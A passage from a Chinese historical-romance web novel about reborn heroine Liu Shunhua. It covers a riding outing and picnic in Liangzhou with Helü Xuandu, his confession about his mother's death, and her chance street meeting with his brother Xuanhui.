她不解,“你来这里难道不是要骑马吗?只要能骑,怎么上去的又有什么关系?” 她摇摇头,策马从他身旁经过,去追前面花丛中的蝴蝶。蝴蝶越飞越远,她越骑越快,红艳艳的衣衫在花丛中翩然翻飞。 小公子看直了眼,跟在马后跑了许久,直到她停下。 小舜华低头,问:“你跟着我做什么?” 小公子看着她,眼里亮晶晶的,“我想让你教我骑马。” …… 小公子漆黑的眸子与眼前的贺玄度重合,落在柳舜华眼里。 内心突然涌上一股奇异的感觉,柳舜华突然笑了起来,原来她与贺玄度,早在不经意间,便已相识。 她竟也曾是贺玄度的半个师傅。 贺玄度被她笑得有些不知所措,摸着脖子,问:“你笑什么?” 柳舜华抓紧缰绳,抬眸明媚一笑,“策马奔腾,呼啸而去,是这样吗?” 言毕,她纵马疾驰而去。 风呼啸在耳边,四周弥散着马兰花的香气,久违的自由感让柳舜华浑身舒畅。 她越骑越快,脑海中纷杂的过往与戴了许久端庄贤淑的面具,被远远抛在脑后,仿佛又回到无拘无束的小时候。 风掠过她的发梢,发间红绸随风飘扬,万物一瞬失了光彩,贺玄度眼里只有那抹红。 他愣了半晌,翻身上马,朝着柳舜华追去。 柳舜华一口气跑了数里,直觉酣畅淋漓,回头瞧见越来越近的贺玄度,勒住缰绳,慢了下来,两人缓缓并肩而行。 贺玄度看着柳舜华,想起此前大言不惭地教她骑马,尴尬道:“你会骑马啊?” 柳舜华笑笑,“我什么时候说过我不会骑,是你一直觉得我不会而已。” 贺玄度略一沉吟,好像的确如此。 他见惯了她柔声细语,娇娇弱弱的样子,下意识便以为她不会骑马。 正像曾经,他也没想到,她会拿起长刀,和他并肩站在一起拼命守护都尉府。 柳舜华,似乎总是和他想象中不一样。 贺玄度看着她,调侃道:“你骑术怎么这么好,都快赶上我了。” 柳舜华娇俏一笑,仰头意味深长道:“贺小公子曾经骑马都需要人抱,如今倒是青出于蓝了?” 贺玄度一愕,呆呆地盯着她,好半晌才反应过来。 原来,小时候那个他一心思慕的小姑娘,竟是柳舜华。 怪不得他总是觉得柳舜华有几分莫名的熟悉,原来他们之间的缘分早已注定。这或许就是上苍的安排,冥冥之中让他们再次相遇。 他眼中闪过一丝难以置信的光芒,惊喜道:“你是说,小时候,那个教我骑马的小女孩是你?怎么可能,那小女孩她是凉州人。” 柳舜华解释道:“我自幼生长在此,幼年时,祖父同舅舅常在此牧马,我每次都跟着。教会你骑马后不久,我便回了长安。” 柳舜华算了算时间,贺玄度的母亲便是在那段时日病故的。她离开凉州后,贺玄度应也很快赶回了长安。 只是,一别数年,她成了他长嫂,他成了她小叔。 故人相逢不相识。 见贺玄度上下打量着她,柳舜华道:“你不信?” 贺玄度摇头,“ 没有,只是,你和小时候有些都不一样。” 小时候的她,自由洒脱,无拘无束,是草原上肆意奔跑的小野驹。这些年她都经历了什么,才让她敛了性情,成了如今稳重娴雅的模样。 柳舜华歪头一笑:“怎么,你是嫌弃我现在不够好?” 她这一笑,清澈又明媚,贺玄度突然就窥见了她小时候的影子。 他摇头,抬眸看着她的眼睛,“柳舜华,你以前很好,现在也很好。无论你怎么样,都是最好的!” 柳舜华愣了一下,嗔道:“你这一病,倒学会哄人了。” 说罢,垂下头,轻抿嘴角,任由着马儿缓缓向前。 待行至山坡,碧空之下,一望无际的花海绵延千里,大朵大朵的芸薹竞相绽放,金灿灿一片,生机勃勃。 柳舜华从未见过如此大片的芸薹花,浩浩荡荡,好像没有尽头一样。忍不住翻身下马,走近花海,凑近一丛花上轻嗅。 贺玄度紧跟着下了马,站在她身后,“小心蜜蜂。” 柳舜华冷不丁吓了一跳,左右瞧了个遍,并没看到有蜜蜂,“你骗我?” 说着嗔笑一声,下意识捶向贺玄度,拳头落在贺玄度胸口,她突然反应过来,忙停下手。 贺玄度只是看着她,嬉笑道:“我是好心,提醒你注意。” 柳舜华面上发烫,不再看他。 风吹着芸薹花拂面而来,香气袭人。许久未曾如此放松,骑马又有些累,她索性席地而坐。 “这里真舒服,一坐下便不想起来了。贺玄度,你先去骑,我要在这歇息片刻。” 贺玄度没有动,反就势躺在她身侧,“正巧,我也累了,也要歇歇。” 柳舜华往旁边挪了一下,“你怎么也躺着,像什么样子?” 贺玄度驳道:“许你歇着,就不许我躺?这里是凉州,又不是长安,哪来这么多规矩?” 柳舜华本意是说他躺在她身旁,于礼不合。他不知是装不懂,还是真不懂她话里的意思。不过她也懒得纠缠,他说得对,今日来此,本就是为了放松,累了就歇,规矩什么的,也无甚要紧。 贺玄度头枕着手臂,望着天上飘过的云朵。 “柳舜华,你看,那朵云,像不像一匹马?” 柳舜华仰头,“像,你看,它还在跑。” 她正笑着,突然觉得一阵天旋地转,整个人陷进一片柔软里。 贺玄度拉着她躺了下来。 少年清冽的气息落在耳畔,一双湖水般潋滟的眼睛,直直地望着她。 柳舜华瞳孔一缩,全身僵直。四周一片沉寂,惟有她的心砰砰直跳。 贺玄度抬起手,轻轻将她的双眼闭上,“你听,风的声音。” 花枝沙沙作响,像月下泉水流淌过碎石,幽静平和。 柳舜华僵硬的身体渐渐舒缓,闭着眼感受这份难得的宁静。 不知过了多久,贺玄度手臂微酸,忍不住拿开枕着的手臂,不动声色地往柳舜华那边靠了靠。正暗暗窃喜,风吹着柳舜华的发带拂在他脸上,像是一双柔软的手缓缓滑过,轻缓又温柔。贺玄度浑身一阵酥麻,浑身像被蚂蚁爬过一样。 柳舜华尤闭着眼,脸上落满花阴,肌肤白净似玉。眼睫长长垂下,轻轻颤动。一瓣黄花落在她唇边,花粉散在她唇上,明艳艳的黄,润泽的樱粉,混合着脂粉与花香,幽幽缠缠。 贺玄度盯着她的唇,喉间干涩,浑身微微发烫。意识到发生了何事,他呼吸一滞,生怕会做出唐突之事。 还未转过脸去,柳舜华突然睁开了眼。 她没想到贺玄度离得这么近,不由睁大双眼,怔愣地看着他。 贺玄度回过神来,嘴角扯出一丝笑意,伸手将她唇边的花瓣拿开,“有花,别招来蜜蜂。” 柳舜华面上淡然应了一声,心下却怦怦不止,仓皇坐起。 贺玄度早先她一步站起,朝她伸手。 柳舜华抬眸,望向贺玄度,日光落在他身上,整个人披上一层薄光,往日的桀骜中带着一丝难以言说的温柔。 她盯着那双伸向她手,缓缓起身。 “姐姐,贺公子,你们让我们好找。”柳棠华不知从哪里冒出来。 贺玄度身子一僵,垂头叹了口气,默默缩回手。 这个小尾巴,要想办法甩掉才好。 第45章 第45章你到底,是怎么样的人?…… 柳棠华不知贺玄度心中不满,满心满眼只有柳舜华。 “姐姐,你看,这鱼肥不肥?”她举着手中柳枝穿起的鱼,一脸期待。 柳舜华起身,“哪来的鱼?” 柳棠华指着远处的溪流,“河里钓的,那边鱼可多了,都很肥的。是不是,九生?” 柳舜华转头望向刘九生,见他盯着柳棠华,笑着点头。 贺玄度看刘九生笑得嘴角翘起,眉头微皱。他什么时候瞒着他,同柳家这个傻乎乎的二小 姐走这么近了? 他走到刘九生身边,阴阳怪气道:“呦,你这么会捉鱼,怎么从没见给我捉过?” 刘九生瞥了他一眼,“贺二公子不是说吃鱼麻烦,怎么还能瞧上这种俗物?” 贺玄度哼了一声,“你不是说要去野猎,这是野猎?” 刘九生淡声回应,“你还说想自己好好待着呢,怎么,我们都不是人?” 柳棠华看到两人窃窃私语,笑道:“你们在说什么呢?” 刘九生笑笑,“随便聊聊,贺二公子说这鱼很肥,他都有些馋了。” 柳棠华摸摸肚子,“贺二公子这一说,我还真有些饿了。回到城里要半个多时辰呢,不如咱们生火将鱼烤了垫垫肚子如何?” 贺玄度朝刘九生翻个白眼,正要拒绝,就听柳舜华道:“这里山清水秀,野炊确实别有一番风味。” 贺玄度转过头,换上一副笑脸,“这个提议好,以天为盖,以地为席,畅快自在。” 几人在山脚下溪流处落脚,刘九生担心贺玄度的肩膀上的伤,主动揽起捡材的活。趁着柳舜华忙活之际,柳棠华黏着刘九生,一起进了林中。 柳棠华抓鱼上瘾,一口气捉了四条,个个肥美,活蹦乱跳地扑腾着。 贺玄度望着地上的鱼,眉头紧锁。 柳舜华见他如此,料定他不会杀鱼,问他要了随身携带的短刀,随手将鱼提到一边。 贺玄度初时未反应过来,见她卷起袖子,忙走上前,“柳舜华,你不会是想动手杀鱼吧?” 柳舜华抬头,“自然,你背上的伤才刚好,又做不惯这些,当然是我杀了。” 柳舜华幼时常随表哥们一起下河,杀鱼这种事,做起来也算得心应手。嫁进相府后,独居在西竹院,临近一片荷塘,她同芳草、妙灵没少偷偷捉鱼烤来吃。只是后来认识了贺玄度,他总是一袭白衣不染烟尘,她生怕在他面前一不小心便显出自己的粗鄙,这才刻意收了性子。至于如今的贺玄度,他根本不会在意这些,她倒也省心。 贺玄度伸手在她额头上一点,顺手拿过她手中的刀,“谁跟你说我不会的?你让开,有我在,这种粗活哪轮不到你。” 柳舜华一愣,她实在无法想象,贺玄度一个养尊处优的相府公子,竟真会做这些粗活。 贺玄度将鱼拖到岸边的石块上,转头道:“这个……有些血腥,你还是别看的好。溪边有些水芹,不如你先去采一些回来。” 柳舜华应着往溪边走,回头看时,只见贺玄度半蹲在石板前,手中拿着刀,一副视死如归的模样。 等采完水芹,回到岸边,贺玄度依旧保持着方才的姿势。 待走近一瞧,贺玄度脸上被溅了一抹血迹,身上也是血迹斑斑,狼狈到了极点。 听到声响,贺玄度抬头,一脸尴尬,“你这么快就回来了?” 柳舜华轻笑一声,从怀中掏出手帕,将他脸上的血迹擦干。 不等她将手帕收回,贺玄度顺势抓住帕子一角,握在掌心。 他嬉笑道:“弄脏了你的帕子,怎么还能让你收回去,改天我再送一条新的给你。” 柳舜华垂下眼眸,低头将他手中的短刀抽出,笑道:“还是我来吧,若是等你贺大公子杀好,怕是要等到明年了。” 贺玄度狡辩,“不是我不会,是这个鱼它太滑了,我根本握不住。你等我……” 话未说完,只见柳舜华举起刀背,将鱼敲晕,手起刀落间,一条鱼已被她收拾得妥妥帖帖。 她一整个动作下来,行云流水,一气呵成。 贺玄度看得目瞪口呆。 柳舜华抬头,“杀鱼有些血腥,那边有棵野胡椒树,不如你摘一些来。” 这话听着太耳熟,贺玄度摸着脖子,讪讪离开。 等他摘完野胡椒回来的时候,柳棠华与刘九生正抱着一堆碎树枝往回走。 刘九生与柳棠华见柳舜华已经处理好了所有的鱼,瞬间明白怎么回事,十分鄙夷地瞟了贺玄度一眼。 贺玄度被他们看得心虚,硬着头皮道:“你们看什么看,我这是为了去摘野胡椒,可不是故意将粗活丢给柳舜华的。” 柳舜华将野胡椒与水芹揉碎,抹在鱼腹内,抬头笑道:“是啊,野胡椒长得高,我够不到,多亏了贺玄度。” 贺玄度在柳舜华一声声夸赞中直起了头。 烤鱼的架子很快搭起来,几人齐心张罗下,鱼总算是烤上了。 鱼太肥,烤好尚需一段时辰。 柳棠华坐着无聊,拉着刘九生,“回来时我看到溪边有棵樱桃树,上面的樱桃可大了,咱们去摘一些吧。” 刘九生点头,“好,我陪你去。” 柳棠华起身,朝柳棠华笑道:“姐姐,你要一起吗?” 柳舜华瞧着两人如此亲昵,正想着要如何阻止,就听贺玄度在一旁哼道:“又不是野猴子,上什么树。” 柳棠华一听,登时不快,不知为何,她总觉得今日贺二公子对她敌意有点大。 刘九生瞥了贺玄度一眼,“别理他,咱们走。” 柳棠华笑着点头,“嗯,咱们多摘一些,姐姐最喜欢吃樱桃了。” “刘九生”贺玄度及时叫住他们,“你不留下来烤鱼,是想让我烤吗,也不怕我烤糊了。” 正在兴头上的柳棠华听他这话,开始犹豫起来,比起樱桃,还是烤鱼更有诱惑。 她咬唇道:“要不,咱们还是再等等吧。” 看他们坐下,贺玄度慢慢凑到柳舜华身边,“你都忙这许久了,不如起身歇歇,我带你去摘樱桃如何?” 柳棠华脸一黑,方才还说他们是野猴子,这会倒上赶着献殷勤。 见她没有要起的意思,贺玄度央求她,“去吧,蹲着容易头晕。” 他似笑非笑,一双桃花眼弯弯,身后湖面泛起淡淡的涟漪,波光粼粼,不及他眼底一点缱绻星光。 柳舜华心内一阵悸动,缓缓起身,柔声道:“走吧。” 贺玄度走在前头,细心地清理好杂乱的枯树枝。山间崎岖不平,他不时回头看着柳舜华,生怕她不小心摔了。 时值仲夏,山中草木葱茏,清溪蜿蜒而过,一泓深碧。溪水边上,一串挨着一串的果实挂在枝头,圆润饱满,红玛瑙似的,日光下熠熠夺目。 柳舜华抬头望着树上的樱桃,满眼欣喜。 贺玄度走过去,一抬手,挑了串最大的递给柳舜华,“尝尝。” 柳舜华接过樱桃,拿衣袖擦了擦,放到嘴里一尝,果真是清甜无比。 贺玄度轻轻一笑,取下佩囊,将里面的香料悉数倒出。 风一吹,那些香料飘飘散散,柳舜华嗅出是十分罕见的荼芜香。 荼芜香由西域附属国进贡而来,皇上只少量赏赐一些重臣,便是宫中妃嫔都未必能用。 柳舜华觉得可惜,“好好的,你倒掉做什么?” 贺玄度将佩囊翻过来,拍打掉上面的碎屑,“装樱桃。樱桃娇嫩,难不成还像打枣一样扔在地上。你先吃着,我上去给你摘些大的来。” 说罢,攀着一根粗枝,一跃跳到树上。 偶尔碰到几串特别鲜亮硕大的,便兴奋指给柳舜华。 “你看,这个多大。” “你看,这个好红。” 茂密的枝条间,贺玄度身形灵活,来回穿梭,像松鼠认真屯着过冬的松子。 柳舜华仰头看着他,恍觉有种现世安稳的平和。 风带着山间的清爽,吹动着贺玄度的衣襟,绿枝中露出的半张脸,日光落在他脸上,皎若云中月,朦胧得不似真人。 这一瞬,柳舜华无比庆幸贺玄度的腿还未断,能自由行走,策马奔腾,纵情山水间。 这样的生活,正是上辈子的贺玄度渴慕的。 人生重来,她有幸见到了一个不一样的,热烈飞扬的贺玄度。 怔忡许久,柳舜华还是缓缓开口,问了一直藏在心底的那句话。 “贺玄度,你这一生,所求是什么?” 贺玄度摘樱桃的手顿了一下,“怎么突然这么问?” 柳舜华缓声道:“都尉府那夜,我看得分明,你并非庸才,可你为何却要终日做纨绔相?” 贺玄度将佩囊收紧,靠在树干上,透过繁密的枝桠望向天穹一角,懒懒道:“我本就是个无用的纨绔,不过活一天过一天罢了。” 柳舜华摇头,“不,你不是。都尉府抵御郑刺史的叛军,全靠你指挥得当,才拖到万都尉前来援救。若非有你,都尉府危矣。” 贺玄度淡笑,“不过是运气好罢了。” 柳舜华直言道:“万都尉能这么快赶来支援,明显是早有准备。贺玄度,我知道,你就是万都尉留下的诱饵,故意引郑刺史行动。若你真的是个不堪重用的纨绔,万都尉怎么可能把如此重要之事交于你?” 她看向贺玄度,“贺玄度,你到底,是怎么样的人?” 山间流云骤遏,树梢风止,隔着一片浓枝,两人看不清彼此。 贺玄度久久无声,一双眼中满是对世俗寒凉的失望。 许久,他才淡声道:“我只是一个被抛弃的无用之人。” 第46章 第46章她极有可能成为你的大嫂…… 贺玄度随手摘了一颗腐烂的樱桃,扔进溪流中。 一阵涟漪过后,樱桃很快便沉入水底。 “我出生前,母亲正计划与父亲和离。她是这世间最洒脱的女子,本可以有更广阔的天地。可我的出生,却切断了她的自由之路。父亲为了自己的声誉,拿我要挟。为了我,母亲甘愿被困在相府,以致郁郁而终。” 他声音听不出悲喜,“我的出生,从一开始便是个错。不被期待,不被喜欢。你说,我这样的人生,还谈什么所求?” 柳舜华的心狠狠一痛。 原来贺玄度从始至终都被困在母亲去世的那一刻。 他在自责。 可他母亲的苦难不是他造成的,自己的出身也由不得他选择,他有什么错呢? 柳舜华沉默许久,却道:“贺玄度,其实你是幸运的!” 贺玄度微微一诧,嗤笑道:“柳舜华,连你也要笑话我吗?” 柳舜华摇头,“不,我羡慕你,至少你的母亲陪过你。我母亲去得早,自记事以来,我就从未见过她。” 她目光望向远方,幽幽道:“外祖院中有株枣树,是母亲亲手栽下的。每当想母亲的时候,我便抱着它,想象着母亲若在该有多好。离开凉州后,我再也见不到那株枣树了,可我知道,它始终在那。” “爱是不会消失的,你能感受得到,它就一直在。”她抬头,望向贺玄度,“终有一日,我们都会再与母亲重逢。等到相遇那日,你想让她看到一个庸碌无为的贺玄度吗?” 贺玄度心内一涩,他知道,造成母亲苦难的始作俑者不是他。可这些年,他还是在心中筑起的高墙,将自己困在 过去。 他固执地惩罚自己,似乎只有这样,才能减轻对母亲的愧疚。 柳舜华见他不语,缓声道:“贺玄度你本就不输任何人,便是人人称赞的贺玄晖,也不及你万分之一,你为何不堂堂正正地活着?” 她见过前世的贺玄度,才识卓绝,七窍玲珑,若非被困在轮椅之上,朝堂之上,定不输贺玄晖。 自出生以来,贺玄度便一直活在贺玄晖的光环之下,还是头一回听到有人说,他比贺玄晖强。 贺玄度直直地望着柳舜华,似乎从第一面起,这个姑娘便对他不同。 她信他! 他斗鸡走狗,在她面前丑态百出,她却着一身袅袅长裙,从容地陪着他去斗鸡,告诉他要为自己而活。 他身陷险境,随时都会被贼军杀得尸骨无存,她却拿起长刀同他一起拼杀,不离不弃。 可是,她不明白,权力争斗向来吃人不吐骨头。不管是朝廷,还是贺家,都不需要一个有用的贺玄度。 自他出生之日起,就注定,他只能是个无用的纨绔。 何况,他还有未竟之事,非做不可。 这世间属于他的苦难,只能由他背负,他要柳舜华,快乐地活着。 片刻沉默,贺玄度深吸一口气,从树上一跃而下。 “柳舜华,你真觉得我比贺玄晖还要好?” 柳舜华点头:“自然。” 贺玄度将手中的樱桃塞给柳舜华,半是调侃,半认真道:“还是你有眼光。柳舜华,你看着吧,我不会让你失望的。” 柳舜华静静望着他,她相信,贺玄度终有一日会以另一种姿态,站在众人面前,就像……上辈子一样。 两人回到岸边,鱼已经烤得差不多了。 两块石板上,鱼烤得滋滋冒油,鱼皮焦黄,夹杂着野胡椒与水芹的香气,格外诱人。 看到柳舜华手里拿着樱桃,柳棠华仰头,故意拖着长腔道:“呦,野猴子摘这么多樱桃呢。” 刘九生忍不住,扑哧一声笑了出来。 贺玄度瞪了他一眼,又扫过柳棠华,这个小丫头,还挺记仇。 待鱼烤熟,众人早已饿得饥肠辘辘。 柳棠华更是迫不及待,拿起柳枝做成的筷子便大快朵颐,边吃边呼着热气,大呼好吃。 柳舜华忙提醒着她小心烫,一眼一瞥,正瞧见刘九生笑着望向柳棠华,一双锐利的目光中满是柔情。 可一想到上辈子,棠华尸骨未寒,他便急切地迎娶贺容暄,柳舜华便气不打一处来,不动声色地挪了挪身子,将柳棠华挡在身后,隔开他的视线。 刘九生不知是不是觉察出了柳舜华的意图,抬眸看了她一眼。 只一眼,属于前世帝王的压迫感瞬间袭来。 柳舜华一下没了底气,强自挤出一个笑来。 贺玄度顾不上两人之间暗流涌动,在旁慢条斯理地替柳舜华将鱼刺挑出,又拿樱桃叶折了个小碗,递到她跟前。 柳舜华一愣,“给我的?” 贺玄度点头,“嗯,这样吃着方便,免得烫着。” 柳棠华一口鱼含在嘴里,看得目瞪口呆。 果然是相府的公子,吃饭就是讲究。 刘九生看着柳棠华羡慕的眼神,斜了一眼贺玄度。 这人搞这么一出,是要挑事吗? 他也不甘示弱,同样拿起筷子将柳棠华的鱼刺扒到一边,更加细心地将鱼头上最嫩的一块剃出。随后,又从腰间掏出一个小瓷瓶,打开瓶盖,朝着鱼肉上撒了几下,推给柳棠华。 “这是上次野猎烤鸡剩下的盐,你尝尝味道如何?” 柳棠华夹起一块,尝了尝,止不住点头:“果然更好吃了,九生,还是你细心。” 刘九生得了夸赞,朝着贺玄度得意一笑。 贺玄度万万没想到这家伙竟然随身带着盐,咬牙道:“怎么,不分我们一点,不太地道吧?” 刘九生将瓶子翻转过来,“不好意思,没了。” 柳舜华看他们两人暗中较劲,生怕贺玄度吃亏,忙道:“好好吃鱼吧,一会都凉了。” 柳棠华吃着鱼附和着点头。 两人这才作罢。 吃饱喝足,几人慢悠悠地回城。 柳舜华骑马载着柳棠华走在前面,贺玄度与刘九生落在后头。 柳棠华第一次与柳舜华共乘一骑,忍不住道:“姐姐骑术好生厉害,此前听姐姐提过,还以为姐姐是吹嘘呢。今日一见,倒是要将他们两个男子比下去了。” 柳舜华无视她的恭维,问道:“那个刘九生,你是怎么认识的?” 本该在长安的刘九生突然出现在凉州,这实在太奇怪了。 还有,刘九生与贺玄度又怎会如此相熟? 难道他出现在此处,与贺玄度有关? 柳棠华虽看不到柳舜华的表情,却听出她话里的责问。 她轻声道:“哦,九生啊,就是前些时日野猎时遇上的。那日我拿回家的两条大鱼,便是九生捉的。” 柳舜华沉默片刻,意识到自己方才语气有些严肃,缓声道:“你啊,心里一向没个成算,又不知他底细,怎可如此亲近?” 柳棠华看柳舜华语气放缓,轻笑道:“九生他认识贺二公子,也不算不知底细吧?贺二公子人虽不着调,心地却不坏,他的朋友自然不会差。” 她这话说到柳舜华心上,倒教柳舜华一时无法反驳,只皱眉道:“九生,九生的叫,你们很熟吗?” 柳棠华心虚地缩了缩脖子,“那他就叫九生嘛,不然我要怎么叫?” 柳舜华沉下脸来,“以往姐姐说什么你便听什么,怎么今日说起这个刘九生,你句句反驳。芊芊你记住,以后离这个刘九生远点。” 柳棠华不解,刘九生为人稳重谦逊,心细如尘,今日也并未有不妥之处,姐姐言辞怎么如此疾厉? 思来想去,姐姐看不上刘九生大约只有一点。 “姐姐可是嫌他太穷?” 柳舜华心内愕然,她哪里是嫌他穷,他可太富贵了,富贵得过了头。 棠华说过,她不喜规矩,只想自由自在地过活。 而她,也怕极了棠华会重复上辈子的命运。 纵身居凤位,哪堪红颜薄命。 她叹道:“芊芊,听姐姐的话,就当姐姐求你了。” 柳棠华咬着嘴唇,半晌才道:“好,我听姐姐的,以后离他远远的。” 贺玄度跟在柳舜华身后,慢悠悠地晃着缰绳,目光黏在前方。 刘九生策马与他并肩而行,顺着他的目光,瞥了一眼柳舜华。 他道:“你这是看上了柳大小姐?” 贺玄度悠然道:“何以见得啊?” 刘九生嗤笑:“还何以见得,你看看你,眼睛都快粘人家身上了。” 贺玄度这才收回目光,“没那么明显吧?” 刘九生扶着额头,“不管你此前什么心思,我劝你,还是离那个柳大小姐远点。” 贺玄度歪过头去,“怎么,你是觉得柳舜华配不上我的身份?” 刘九生摇头笑道:“恰恰相反,是这位柳大小姐实在太抢手了。” 贺玄度一怔,心上有种不好的预感,“怎么说?” “你走时,让我留意相府的一举一动。这些时日,相府可是热闹得很。那个程氏在忙着帮她那宝贝儿子相看城中女子。” 刘九生顿了一下,斜眼看向贺玄度:“程氏……看上了柳舜华。所以说,柳舜华将来极有可能成为你的大嫂,你还是趁早死了那份心吧。” 程氏竟然将主意打到柳舜华身上! 贺玄度眉心一皱,“柳桓安是不是又要晋升?” 刘九生点头,“没错。此前他本就是临时任职鸿胪寺,主持各路诸侯觐见事宜。上月末,皇上下旨,已经让他补了侍御史的缺。不过,柳桓安确有才能,一上任便严查贪污受贿,顺便修补了一些律法漏洞,如今颇得圣心。” 贺玄度冷笑:“他们真是好算计,为了拉拢柳桓安,竟想出这种办法。” 仔细想了一下,又道:“此事多半是父亲的主意,程氏一向眼高于顶,看她那宝贝儿子紧得很,她肯同意?” 刘九生道:“此事,是程氏亲自吩咐人去办的。” 贺玄度没想到,程氏竟然如此主动。 “程氏倒是有几分眼光。可贺玄晖不是与平阳王府郡主传得沸沸扬扬,他也肯松口?” 刘九生:“贺玄晖,他似乎也并未反对。” 贺玄度有些愕然,怎么连贺玄晖都…… 他不死心:“那柳府呢,他们应下了?” 刘九生摇头:“那倒没有,丞相府遣人去打探口风,柳府推说柳家大小姐不在长安,一切要待她回去之后详商。” 贺玄度松了口气,“柳家总算并不糊涂。” 刘九生却道:“柳家虽未应下,但以贺丞相的权势,程夫人的手段,还有贺玄晖的名声人品,柳大小姐只怕很难不动心吧。” 贺玄度难得沉默。 毕竟比起一无是处,毫无依仗的他来说,贺玄晖的确是个更好的选择。 回到都尉府已近黄昏。 贺玄度方吩咐好人准备晚膳,万都尉便大步跨了进来。 “总算是得闲了,朝廷派来接管和审理此案的人明日便要到了。” 贺玄度迎着万都尉坐下,“哦,人这么快便到了?” 万都尉甩着衣摆,“我还嫌慢呢,刺史府那个烂摊子。” 贺玄度倒了一杯茶递过去,“舅舅连日辛劳,总算可以好好歇歇了。” 万都尉接过茶,饮了一口,又道:“接手刺史府的,是皇上的心腹。但负责审理此案的,你猜是谁?” 贺玄度目光一转,“我爹的人?” 万都尉放下茶盏,转头看向贺玄度,“是你的兄长,贺玄晖。” 第47章 第47章情敌相见(二更)…… 忙活了数日,陈茵的点心铺子总算确定下来,择日开业。 趁着众人收拾铺子的空隙,柳舜华顺便将开业需要装点的物件列了出来,分给棠华与陈莹采买,她则负责去买红绸,以便将铺子装点得喜庆些。 绸缎铺内,柳舜华选好红绸,让店家分别裁剪成合适的尺寸,又买了些绸花,才离开。 车马晃动,缓缓进了主街,街道上此起彼伏的叫卖声吵醒了小憩的贺玄晖。 他缓缓睁开眼,眉目中露出一丝倦怠。 一旁伺候的丁宝看贺玄晖醒了,忙递水给他。 贺玄晖揉了揉额头,接过饮下,问:“已经进城了?” 丁宝道:“进城已有一盏茶的功夫了。” 贺玄晖坐了半日,肩膀有些酸疼,忍不住揉着肩膀。 丁宝见状,忙道:“公子,车夫说马上便到刺史府。” 贺玄晖想了想,问:“刘刺史的马车行至何处了?” 丁宝笑道:“刘刺史的马车先行一步,这会怕是已经到了。等到了刺史府,公子便可好好歇息了。” 贺玄晖却道:“不急,等安顿好,你先备些薄礼,我要去趟都尉府。” 于公,他负责审理前刺史叛变一案,要对接万都尉。于私,万都尉也算他舅舅,何况幼弟受伤,他这个做大哥的不去探望,实在说不过去。 丁宝应是,见贺玄晖额间已有薄汗,忙掀开车帘一角。 熙熙攘攘的街上,各色行人步履匆匆。 贺玄晖没有去看路人,抬头望向天穹。 凉州的天,似乎比长安更高远,碧蓝深邃,辽阔又自由。 他深吸一口气,感觉到一种前所未有的轻松。 街角处,两名乞丐看着逐渐逼近的马车,相互使了个眼色。 待马车走近,一名乞丐猛地朝车前撞去,一下瘫倒在地上。 “哎呀,撞人了,撞人了。”另一名乞丐高喊。 车夫慌忙遏停马车。 贺玄晖冷不丁被撞了一下,眉头一皱,对着丁宝道:“怎么回事?你去看看” 见丁宝跳下马车,车夫忙解释道:“我没有撞人,是他们自己撞上来的。” 站着的乞丐将手中的木棍砸在马车上,扯着喉咙道:“你别睁眼说瞎话,分明就是你撞的,休想不认账。” 躺着的乞丐捂着腿,发出痛苦的呻吟,“哎呀,不行了,腿断了,腿断了。” 周围围观的人开始指指点点,这时人群中有人打抱不平,“你们这些人,不就是看他们是乞丐,不拿人当人,撞了人还敢如此嚣张。” 丁宝被围在中间,势单力薄,分辨道:“我们马车行得很慢,不可能撞到人的。” 躺在地上乞丐又开始嚎:“流血了,我的腿啊!” 丁宝一看,那名乞丐腿上不知何时变得血淋淋的,顿时慌了神。 他忙回头朝车内道:“公子,撞到人了。” 贺玄晖扫了一眼地上的乞丐,眼神一片冰冷,嘴角扯出一丝嘲讽,开口声音却是温和无比:“给他们些钱去看伤,莫要耽搁。” 丁宝点头,正低头掏钱,却见一枚铜钱从远处慢慢滚落,接着又一枚,又一枚…… 最后一枚,正滚落在断了腿的乞丐脚边。 那乞丐眼随着铜钱一转,顺手捏起离他最近的一枚铜钱,又伸手去捏另外一枚。 一枚,两枚,三枚,轻松到手。 断腿乞丐越捡越上瘾,捡到第四枚,手不够长,心一急,一骨碌从地上爬起,终于将铜钱收入囊中。 “大哥,我捡到钱了。” 一回头,发现围观众人齐刷刷地望向他,愣了一下,这才想起自己的腿已经“断了”。 众人这才反应过来,指着他便骂了起来: “看你们可怜才替你们说话,没想到竟然是讹人的。” “有手有脚的干这勾当,真是不要脸啊,怪不得当乞丐。” “什么乞丐,依我看就是个无赖。” 断腿的乞丐见事情败露,忙转身欲逃,一转身正碰到手里捏着铜钱的柳舜华,瞬间明白过来,方才便是这小姑娘搞的鬼。 他一把推开柳舜华,恶狠狠骂道:“让你多管闲事。” 柳舜华不防,一个趔趄,手中的红绸被甩了出去。 贺玄晖在马车内,透过车帘缝隙,冷冷地看着这场闹剧,突然目光一转,整个人怔住了。 红绸在空中翩飞,飘飘悠悠,缓缓落在女子头上。 女子被红绸遮住半边脸,长长的睫毛因受到惊吓不停地扇动着,像蝴蝶的翅膀,轻盈又灵巧,裙衫轻舞,宛似六月枝头开得最艳的朱槿花。 尽管只有两面之缘,贺玄晖一眼便认出了她。 柳家大小姐,柳舜华。 柳舜华扯下盖在头上的红绸,似乎感受到马车内那道灼热的目光,转眸望了过去。 贺玄晖心上突地一下刺痛。 一刹那,一些模糊的梦境潮水般涌来,血红的盖头,漫天的大火…… 他感觉好像有什么重要的东西,正从他身边流逝。 丁宝也意识到是柳舜华帮了他,忙跑过去,将地上的红绸捡起。 “姑娘,你没事吧?多谢方才出手相帮,否则就要被这两个地痞给讹上了。” 柳舜华见是丁宝,愣在原地。 她自然认得丁宝,只是方才净顾着那两个地痞无赖,竟没留意到他。 丁宝既然在此,那马车内的,岂不是贺玄晖。 想到贺玄晖,她背上泛起一阵寒意,接过红绸,“无事,顺手而已。” 说罢,转身欲走。 “柳小姐。”贺玄晖笑着从马车上走了下来。 他声音一如既往地柔和,依旧是熟悉的白衣,一尘不染,矜贵自持。 柳舜华抬眸,淡声道:“贺大公子好。” 贺玄晖无视她的冷淡,笑容愈加温和,“好巧,没想到竟在这遇到柳小姐。” 柳舜华也着实没想到会在凉州遇到贺玄晖。 上辈子这个时候,他们已定了亲。那时,她方见过贺玄晖,对他一腔热情,时常让芳草打听着他的行踪,以便来场偶遇。 婚前两个月,他好像的确离开过一次长安。她向兄长打听,兄长是说是公事,让她不必操心。 如今来凉州,大约是为郑刺史的案子。 柳舜华整理着怀中的红绸,“家中琐事繁忙,贺公子若无事,我便先告辞了。” 贺玄晖看了看红绸,“听说柳小姐是来探亲的,看来是家中有喜事了?” 